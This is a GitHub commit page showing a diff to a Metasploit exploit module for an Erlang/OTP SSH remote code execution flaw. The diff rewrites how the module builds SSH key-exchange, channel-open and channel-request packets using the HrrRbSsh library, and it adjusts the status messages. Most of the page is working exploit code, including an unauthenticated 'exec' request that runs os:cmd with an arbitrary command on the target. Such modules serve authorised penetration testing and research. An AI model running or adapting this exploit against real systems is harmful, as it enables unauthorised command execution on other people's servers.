Skip to content

Commit eef2fac

Browse files
committed
add HrrRbSsh and fix exploit response message
Signed-off-by: RAMELLA Sebastien <[email protected]>
1 parent 32a8e67 commit eef2fac

File tree

1 file changed

+44
-32
lines changed

1 file changed

+44
-32
lines changed

modules/exploits/linux/ssh/ssh_erlangotp_rce.rb

Lines changed: 44 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,9 @@
22
# This module requires Metasploit: https://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
5+
require 'hrr_rb_ssh/message/090_ssh_msg_channel_open'
6+
require 'hrr_rb_ssh/message/098_ssh_msg_channel_request'
7+
require 'hrr_rb_ssh/message/020_ssh_msg_kexinit'
58

69
class MetasploitModule < Msf::Exploit::Remote
710
Rank = ExcellentRanking
@@ -80,42 +83,53 @@ def initialize(info = {})
8083

8184
# builds SSH_MSG_CHANNEL_OPEN for session
8285
def build_channel_open(channel_id)
83-
"\x5a" +
84-
string_payload('session') +
85-
[channel_id].pack('N') +
86-
[0x68000].pack('N') +
87-
[0x10000].pack('N')
86+
msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new
87+
payload = {
88+
'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE,
89+
'channel type': 'session',
90+
'sender channel': channel_id,
91+
'initial window size': 0x68000,
92+
'maximum packet size': 0x10000
93+
}
94+
msg.encode(payload)
8895
end
8996

9097
# builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
9198
def build_channel_request(channel_id, command)
92-
"\x62" +
93-
[channel_id].pack('N') +
94-
string_payload('exec') +
95-
"\x01" +
96-
string_payload("os:cmd(\"#{command}\").")
99+
msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new
100+
payload = {
101+
'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,
102+
'recipient channel': channel_id,
103+
'request type': 'exec',
104+
'want reply': true,
105+
command: "os:cmd(\"#{command}\")."
106+
}
107+
msg.encode(payload)
97108
end
98109

99110
# builds a minimal but valid SSH_MSG_KEXINIT packet
100111
def build_kexinit
101-
cookie = SecureRandom.random_bytes(16)
102-
"\x14" +
103-
cookie +
104-
name_list(
105-
[
106-
'curve25519-sha256',
107-
'ecdh-sha2-nistp256',
108-
'diffie-hellman-group-exchange-sha256',
109-
'diffie-hellman-group14-sha256'
110-
]
111-
) +
112-
name_list(['rsa-sha2-256', 'rsa-sha2-512']) +
113-
name_list(['aes128-ctr']) * 2 +
114-
name_list(['hmac-sha1']) * 2 +
115-
name_list(['none']) * 2 +
116-
name_list([]) * 2 +
117-
"\x00" +
118-
[0].pack('N')
112+
msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new
113+
payload = {}
114+
payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE
115+
# The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The
116+
# encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times.
117+
16.times do
118+
payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C')
119+
end
120+
payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256']
121+
payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512']
122+
payload[:encryption_algorithms_client_to_server] = ['aes128-ctr']
123+
payload[:encryption_algorithms_server_to_client] = ['aes128-ctr']
124+
payload[:mac_algorithms_client_to_server] = ['hmac-sha1']
125+
payload[:mac_algorithms_server_to_client] = ['hmac-sha1']
126+
payload[:compression_algorithms_client_to_server] = ['none']
127+
payload[:compression_algorithms_server_to_client] = ['none']
128+
payload[:languages_client_to_server] = []
129+
payload[:languages_server_to_client] = []
130+
payload[:first_kex_packet_follows] = false
131+
payload[:"0 (reserved for future extension)"] = 0
132+
msg.encode(payload)
119133
end
120134

121135
# formats a list of names into an SSH-compatible string (comma-separated)
@@ -228,13 +242,11 @@ def exploit
228242
begin
229243
response = sock.get_once(1024, 5)
230244
if response
245+
print_good('Packets sent successfully and receive response from the server')
231246
vprint_status("Received response: #{response.unpack('H*').first}")
232-
print_good('Payload sent successfully')
233-
else
234-
print_status('No response within timeout period (which is expected)')
235247
end
236248
rescue Rex::TimeoutError
237-
print_status('No response within timeout period (which is expected)')
249+
print_error('Connection timed out')
238250
end
239251
sock.close
240252
rescue Rex::ConnectionError

0 commit comments

Comments
 (0)